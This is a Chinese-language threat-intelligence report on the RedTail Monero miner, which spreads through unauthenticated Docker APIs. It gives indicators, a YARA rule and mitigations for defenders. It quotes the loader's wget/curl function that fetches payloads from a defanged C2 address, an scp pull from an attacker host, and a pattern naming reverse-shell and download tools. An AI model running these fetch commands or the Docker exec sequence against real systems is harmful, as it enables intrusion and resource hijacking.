malware · cryptomining · redtail · docker · linux · honeypot · worm

深入一场 RedTail 行动:通过暴露的 Docker API 自我传播

Kinryū Labs 的蜜罐捕获到 RedTail 挖矿木马通过未认证的 Docker Engine API 传播并投放 SSH 密钥。本文记录了一个当前、完整捕获的实例,含加载器、竞争对手清除脚本、矿工本体以及实时指标。

作者 Davis Zheng·

TLP:CLEAR。已批准公开发布。来源为 Kinryū Labs 蜜罐传感器网络。这里的每一个指标都用于防御。我们捕获了攻击者的私钥,但不予公开;此处只出现公钥指纹。攻击者的 IP 和域名均已做无害化(defang)处理。

摘要

  • 2375暴露的 Docker API,入口所在
  • 4被针对的 CPU 架构
  • ~21秒在我们蜜罐上记录到的完整入侵
  • 可蠕虫化矿工内置的 SSH 客户端

2026 年 6 月上旬至中旬,我们的蜜罐网络捕获到一条蠕虫,它通过暴露在公网、监听 TCP/2375 的 Docker Engine API 传播,并投放 RedTail——一个自 2023 年底就已存在、基于 XMRig 的门罗币矿工。攻击者通过开放的 Docker API 列出正在运行的容器,在每个容器内执行命令,投放一个用于持久化与横向移动的 SSH 私钥,然后拉取一个多架构加载器。加载器安装的矿工自带一个用于传播的 SSH 客户端,以及一个用于寻找新目标的 libpcap 嗅探器。

这个载荷无疑是 RedTail。RedTail 最为人所知的是通过 Web 应用漏洞(PAN-OS、Ivanti、Log4Shell、PHP-CGI、TP-Link)进入,它利用暴露的 Docker API 也已有先前报道。本文补充的是这种 Docker-API 投放方式的一个当前、完整捕获的实例:实时 C2 与指标、让主机得以自我复制的 SSH 密钥投放,以及此前的报道指出过却未能取回的竞争对手清除脚本。我们在内部把这套自我复制逻辑追踪为 docker.selfrep

矿工携带一份加密的运行时配置,且未内嵌钱包,因此我们无法从样本中取出门罗币地址。要取回它,需要一次带网络抓包的实时引爆。

关键判断

  • 载荷为 RedTail(高置信度)。libredtail evbuffer_tls 字符串、.redtail 痕迹、加载器中的 redtail 兜底名,以及「加密配置 / 无钱包」的构建方式,都与该家族 2024 年之后的版本相符。
  • 该行动可蠕虫化(高置信度)。Docker-API 工具、被投放的密钥,以及矿工内置的 SSH 客户端,正是一台刚被感染的主机自行去寻找下一个受害者所需的全部。
  • 操作者图的是钱(中等置信度)。凭据窃取与嗅探看起来是为传播服务,而非另有一个单独的数据窃取目标。
  • Docker-API 这一入口对 RedTail 已有先前报道,且至今仍然好用。TCP/2375 上一个暴露的套接字,就能让攻击者以 root 身份在主机上的每个容器里执行代码。

攻击链

[0] 侦察               扫描互联网,寻找暴露的 Docker API :2375

[1] 初始访问           未认证的 Docker API → 枚举容器
        │              (T1190 Exploit Public-Facing Application)

[2] 执行               docker exec 进入每个运行中的容器
        │              (T1609 Container Administration Command)

[3] 持久化 /           向容器 ~/.ssh 投放 ed25519 密钥 "dlr@sftp"
    横向准备           (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)

[4] 载入(第二阶段)   拉取加载器:scp [email protected][.]113:sh   (主)
        │                          hxxps://14.46.136[.]77/sh      (兜底)
        │              (T1105 Ingress Tool Transfer)

[5] 防御规避           加载器:查找 noexec 挂载点 → 避开;隐藏的 ".<random>"
        │              文件名;运行并丢弃 "clean" 竞争对手清除脚本

[6] 载入(第三阶段)   加载器从 C2 拉取对应架构的 ELF(x86_64/i686/aarch64/arm7)

[7] 执行               memfd_create → 无文件方式启动 RedTail 矿工
        │              (T1620 Reflective Code Loading)

[8] 影响               XMRig 门罗币挖矿 (T1496 Resource Hijacking)
   + 凭据访问          libpcap 嗅探 + ssh-agent/密钥窃取 (T1040 / T1552.004)
   + 横向移动          内置 SSH 客户端向已发现的主机传播 (T1021.004)

第一阶段:通过 Docker API 获得初始访问

攻击者瞄准的是那些在 TCP/2375 上暴露了未认证 REST API 的 Docker Engine 实例。我们的 Docker-API 蜜罐模拟了一个真实的引擎,它在大约 21 秒内记录下了整个序列:

  1. GET /versionGET /containers/json,用于探明引擎指纹并列出容器。
  2. 对每个运行中的容器执行 POST /containers/{id}/exec,随后 POST /exec/{id}/start
  3. 一段在容器内运行的 shell 载荷,写入攻击者的 SSH 密钥并获取加载器。

最后那一步,正是把这件事从一次性的矿工变成蠕虫的关键。一台被感染、又恰好暴露了自己 Docker API 的主机,会对下一批受害者运行同样的「列出并 exec」流程。我们把这套逻辑称为 docker.selfrep

投放的 SSH 密钥(持久化与横向移动)

属性
类型OpenSSH ed25519 私钥
注释dlr@sftp
公钥 SHA256 指纹SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
拉取来源(SCP 通道)[email protected][.]113

我们不会公开该私钥。请用上面的指纹来搜寻它:在你的整个机群中检查 authorized_keys~/.ssh

第二阶段:/sh 加载器

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 类型: POSIX shell 脚本

一个小巧、可移植的加载器,而且很谨慎。

随机隐藏文件名。 get_random_string() 拼出一个 4 到 35 个字符的字母数字名称,依次尝试 /dev/urandomopenssl$RANDOM,若全部失败则兜底用字面字符串 redtail。那个兜底名是个方便的家族特征。矿工以 .<random>(带前导点)落地,以避开普通的 ls。VirusTotal 上这个样本就以其中一个这样的名字 .mn6VTucEsFZY1PdSC2QAq 存在。

下载辅助函数。 dlr() 关闭 TLS 校验(因为 C2 是自签名的),并从 wget 兜底切换到 curl

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

noexec 感知的暂存。 加载器读取 /proc/mounts,剔除每一个 noexec 挂载点,再运行 find / -user $(whoami) -perm -u=rwx 来寻找一个既能写又能执行的位置。它会在使用前,用一个 2 MB 的 ddtruncate 对每个候选目录做写入测试。大多数加载器只是写到 /tmp 就完事。这一个则费心去落在一个它确知可以执行的地方。

竞争对手清理。 它拉取并运行 cleandlr clean; chmod +x clean; sh clean; rm -rf clean),随后将其删除。我们也抓到了那个脚本,并在下文逐项拆解。它针对的是竞争对手的持久化与暂存,对正在运行的进程则不去动它。

收尾。 在安装新文件之前,它会先删除 .redtail 和上一个 .<random> 文件。

架构选择。 一个 uname -mp 分支选定构建版本:

ARCH 匹配下载
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
未知四个全部暴力尝试,逐一运行

运行。 ./.<random> $1,把加载器原本的 $1 传下去,RedTail 会把它当作一个行动或入口标签。

clean 竞争对手清除脚本

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 类型: Bash 脚本(795 字节)

我们在蜜罐后来的一次命中里捕获了 clean。它不去动正在运行的进程。它的全部工作,就是把机器上的其他恶意软件清理掉,好让 RedTail 独占这台主机:

  • Cron 清理。 对每一个用户 crontab(/var/spool/cron/crontabs/*)、系统 crontab(/etc/crontab/etc/crontabs)、drop-in 目录(/etc/cron.{hourly,daily,weekly,monthly,d})以及 /etc/anacrontab,它先用 chattr -ia 去掉不可变位(竞争对手的恶意软件会设置它来保护自己的 cron 行),然后删除任何匹配以下再感染模式的行:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    这会把其他团伙的下载脚手架和反弹 shell 揪出来,同时不动合法的 cron 条目。

  • 杀掉一个具名的对手。 它禁用并停止 c3pool_miner systemd 服务,这是直接冲着 c3pool 矿工去的。

  • 清空暂存区。 它用 rm -rf 清空 /tmp/var/tmp/dev/shm,清除竞争对手的载荷以及它们共用的暂存空间。

打击持久化与暂存是更安静的打法。它能熬过一次重启——否则残留的 cron 条目会重新感染主机——也避免了大规模杀进程的动静。

第三阶段:RedTail 矿工(x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b 大小: 1,880,264 字节(1.79 MB) 格式: ELF 64-bit LSB EXEC(静态链接,non-PIE),x86-64,入口 0xaa9e18 加壳器: UPX 5.02($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX TeamVirusTotal: 36/62 判恶意,社区评分 −60,首次出现约 2026-06-05 威胁标签: trojan.usblem26/abminer;家族 usblem26 / abminer / gen3

打包与反分析

  • UPX 5.02,头部完整。upx -d 能干净地把它解包为一个约 5 MB 的静态链接 ELF。
  • 无文件执行。VirusTotal 的代码洞察显示它使用 memfd_create(系统调用 0x13f)直接从一个匿名内存文件描述符运行载荷,并配合 /proc/self/exe 重新执行与 /dev/shm 暂存。没有任何东西落到磁盘,因此基于磁盘的杀毒软件根本看不到它。
  • 进程名伪装(sets-process-name),让它混入正常进程之中。
  • 调试器规避(detect-debug-environment)。公开的 RedTail 报道描述过 ptrace 自调试,以及该二进制会主动杀掉 GDB。
  • 关于主机杀毒的一点说明。Microsoft Defender 把这个加壳 ELF 标记为 Trojan:Linux/Multiverze!rfn 并阻止它被从磁盘读取,因此静态初判必须在一台隔离机器上或在内存中进行。

已确认的组件(来自解包后的 .rodata 字符串)

XMRig 挖矿核心

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail,这个定义了该家族的网络栈

libredtail evbuffer_tls
Connection  keepalive  User-Agent

一个定制的 libevent,加上一个 TLS HTTP 客户端。libredtail evbuffer_tls 字符串正是把 RedTail 与一个原版 XMRig 构建区分开来的东西。

内置 SSH 客户端(横向移动与凭据窃取)

ssh-userauth   ssh-ed25519   [email protected]
[email protected]   [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

矿工自带一个完整的 SSH 客户端。那正是 dlr@sftp 密钥投放与传播背后的引擎。矿工二进制自行处理凭据窃取与 SSH 传播。这些都不在投放器里。

内置 libpcap(网络嗅探)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

主机上的抓包,这与本地发现主机和凭据相吻合。

编码表。 标准与 URL 安全两套 Base64 字母表都出现了(...+/...-_),由配置解码例程使用。

配置与归因缺口

我们在解包后的二进制里仔细搜寻了 IP、URL、stratumpool 以及门罗币地址的模式。里面唯一的矿池是 XMRig 内置的开发者捐赠矿池(donate.ssl.xmrig.comdonate.v2.xmrig.com),每个 XMRig 构建都带着它们,而操作者并不控制它们。明文里没有攻击者的矿池、代理或钱包。

那是刻意的,且与 RedTail 自 2024 年以来的走向一致。挖矿配置是加密的,只在运行时于内存中解密,而近期的构建根本不带钱包,转而指向一个私有矿池或矿池代理。所以:

  • 我们无法从这个样本中取出门罗币钱包。
  • 矿池代理只有通过一次带网络汇聚(sink)的实时引爆才能取出(见方法论)。

归因

这是 RedTail,也称 .redtail 矿工,一个源自 XMRig 的门罗币矿工,最早在 2023 年底到 2024 年初前后被记录。相符之处:

  • libredtail evbuffer_tls 字符串,它是其独有的。
  • .redtail 痕迹,以及加载器中的 redtail 兜底名。
  • 「加密配置 / 无钱包」的构建、多架构加载器、clean 竞争对手脚本,以及 SSH 凭据窃取,全都是已知的 RedTail 特征。

作为对照,该家族已在案的投放向量包括 CVE-2024-3400(PAN-OS)、CVE-2023-46805 与 CVE-2024-21887(Ivanti)、CVE-2021-44228(Log4Shell)、CVE-2024-4577(PHP-CGI)以及 CVE-2023-1389(TP-Link)。VirusTotal 还为这个样本打上了 CVE-2021-41773(Apache 2.4.49/2.4.50 路径遍历到 RCE)和 CVE-2015-2808(RC4,“Bar Mitzvah”)的标签。

RedTail 利用暴露的 Docker API 已有先前报道,因此这个向量本身并不新。本文补充的是它的一次当前捕获:实时 C2 与载荷哈希、取回的 clean 脚本,以及投放密钥实现自我复制这一细节。

展望

挖矿团伙更换入侵方式的频率,远高于他们更换载荷的频率,而 RedTail 的模块化加载器让「把一种入口换成另一种」变得很容易。暴露的 Docker 套接字正落在它的射程之内。大量机会主义的 Linux 活动已经漂向云原生的配置错误,而一个开放的 Docker API 就能把 root(在主机上每个容器内的)交到攻击者手里。RedTail 早已来过这里,而源源不断、暴露在公网上的 2375,让这件事始终值得做。

我们认为,操作者更可能是把 Docker-API 向量与 Web 漏洞并用,而不是用一个取代另一个——这只会给他们更多可触达的主机。如果你在运行容器,请把一个暴露的 Docker API 当作它正坐在公网上来对待,因为它实际上就是。

失陷指标

网络

指标说明
14.46.136[.]77C2 / 载荷主机(HTTPS,自签名)。提供 /sh/clean/x86_64/i686/aarch64/arm7。按 ASN 过滤云出口。
hxxps://14.46.136[.]77/sh第二阶段加载器 URL
hxxps://14.46.136[.]77/clean竞争对手清除脚本(cron / 暂存清理)
217.60.195[.]113SCP 密钥 / 载荷来源([email protected][.]113

文件(SHA256 / MD5)

文件SHA256MD5
sh(加载器)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean(竞争对手清除)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64(矿工)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

主机痕迹

指标说明
.redtail矿工痕迹 / 既往感染标记
.<随机字母数字> 例如 .mn6VTucEsFZY1PdSC2QAq隐藏的矿工文件名(前导点 + 随机)
SSH 密钥注释 dlr@sftp被投放的密钥
公钥指纹 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg被投放密钥的指纹;在 authorized_keys 中搜寻
暂存在 /dev/shm/var/tmp/tmp 或任何用户可写的 rwx 目录中的文件暂存位置

行为特征

  • memfd_create(系统调用 0x13f)从一个匿名文件描述符执行 ELF。
  • 一个进程读取 /proc/mounts,随后运行 find / -perm -u=rwx(noexec 感知的暂存)。
  • 进程名伪装;基于 ptrace 的调试器规避。
  • 向一个非标准主机外连 stratum+tcp:// / stratum+ssl://
  • systemctl disable c3pool_minersystemctl stop c3pool_miner(驱逐竞争对手)。
  • 对 crontab 路径执行 chattr -ia,紧接着从 cron 中大规模删除 wget / curl / 反弹 shell 行。
  • /tmp/*/var/tmp/*/dev/shm/* 执行 rm -rf(清除竞争对手暂存)。

检测

主机侧检测(进程 / EDR 逻辑)

对一个依次执行以下动作的进程告警:

  1. 读取 /proc/mounts,然后运行 find / ... -perm -u=rwx ...,并且
  2. 向一个全局可写目录写入一个前导点、随机命名的文件,并且
  3. 调用 memfd_create,随后从得到的文件描述符执行。

其中任何一项单独看都很弱。三者放在一起,则是这个加载器的强信号。

候选 YARA(解包后的二进制)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "[email protected]" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

这条规则匹配的是 UPX 解包后的二进制。对于加壳样本,请基于 UPX 特征、文件大小(约 1.79 MB)以及上面的 VirusTotal 哈希来转向。

网络侧检测

  • 阻断并告警外连到 14.46.136[.]77217.60.195[.]113 的流量。
  • 对外连到任何非白名单目的地的 stratum+tcp / stratum+ssl 告警。
  • 对请求单字母或架构命名路径(/sh/x86_64/aarch64/arm7)的 HTTP(S) GET 告警。

缓解措施

  1. 不要把 Docker API(2375/2376)暴露给不可信网络。把它绑定到 localhost 或一个受保护的套接字,并要求 TLS 客户端证书认证。这一项控制就能直接打断初始访问这一步。
  2. 在整个机群中审计 ~/.ssh/authorized_keys,查找 dlr@sftp 密钥及其指纹。
  3. 对 stratum 流量以及上述 C2 IP 做出口过滤与监控。
  4. 在可能的地方,用 noexec 挂载 /tmp/var/tmp/dev/shm。这会提高门槛,不过这个加载器是 noexec 感知的,会去寻找另一个可写且可执行的目录。
  5. 加固容器:丢弃你不需要的 capability、使用只读根文件系统、以最小权限运行,使得一次 exec-in 不会把一个可用的执行环境交到攻击者手里。

MITRE ATT&CK 映射

战术技术
初始访问T1190 Exploit Public-Facing Application(Docker API)
执行T1609 Container Administration Command;T1059.004 Unix Shell
持久化T1098.004 SSH Authorized Keys
防御规避T1027.002 Software Packing(UPX);T1620 Reflective / Memory Code Loading(memfd_create);T1564.001 Hidden Files;T1036.004 Masquerade Task or Process Name;T1622 Debugger Evasion;T1070.004 File Deletion
凭据访问T1552.004 Private Keys;T1040 Network Sniffing
发现T1046 Network Service Scanning;T1082 System Information Discovery;T1057 Process Discovery;T1018 Remote System Discovery
横向移动T1021.004 Remote Services: SSH;T1570 Lateral Tool Transfer
命令与控制T1071.001 Web Protocols;T1573 Encrypted Channel;T1105 Ingress Tool Transfer
影响T1496 Resource Hijacking(挖矿)

方法论与分析师备注

  • 我们通过 HTTPS 从实时 C2 拉取了第二与第三阶段。14.46.136[.]77 对云 IP 超时(我们从 AWS/EC2 试过),但对住宅和普通 IP 则正常提供服务,这是一个会让自动化云沙箱失效的 ASN 或地理出口过滤。
  • 加壳 ELF 会触发 Microsoft Defender(Trojan:Linux/Multiverze!rfn),在一台受保护的 Windows 主机上甚至无法从磁盘读取它,因此第一轮初判是在内存中进行的——在一个 Python 进程内解包归档,而从未把原始 ELF 写出。
  • 解包是在一台隔离的 FLARE-VM 中用 upx -d 完成的。我们对解包后的二进制做了静态分析(看字符串与结构),没有运行它。
  • 我们没有运行矿工,因此运行时解密的矿池代理与门罗币配置不在本文中。

建议的后续步骤(以获取矿池代理指标)

要拿到矿池代理,请在一台隔离的 Linux 机器(REMnux 即可)上引爆解包后的二进制,并配合:

  • 一个网络汇聚(INetSim,或 fakedns 加一个 TCP 通吃捕获)来引出连接,
  • tcpdump -i any -w redtail.pcap 来捕获 stratum 的 CONNECT 与登录,以及
  • strace -f 来抓取矿工在其首次 connect() 之前刚刚解密出的明文配置——即使 TLS 在链路上把它隐藏起来,这往往仍然可读。

那个主机与端口,是这场行动唯一仍未取得的指标。

样本

样本(加载器、clean 脚本以及加壳的矿工)可应其他研究者与防御方的请求提供。请发邮件至 [email protected],并简短说明你的身份以及索取用途。

How to cite
Kinryū Labs (2026). 深入一场 RedTail 行动:通过暴露的 Docker API 自我传播. https://kinryu.sh/zh/reports/redtail-cryptominer-exposed-docker-api/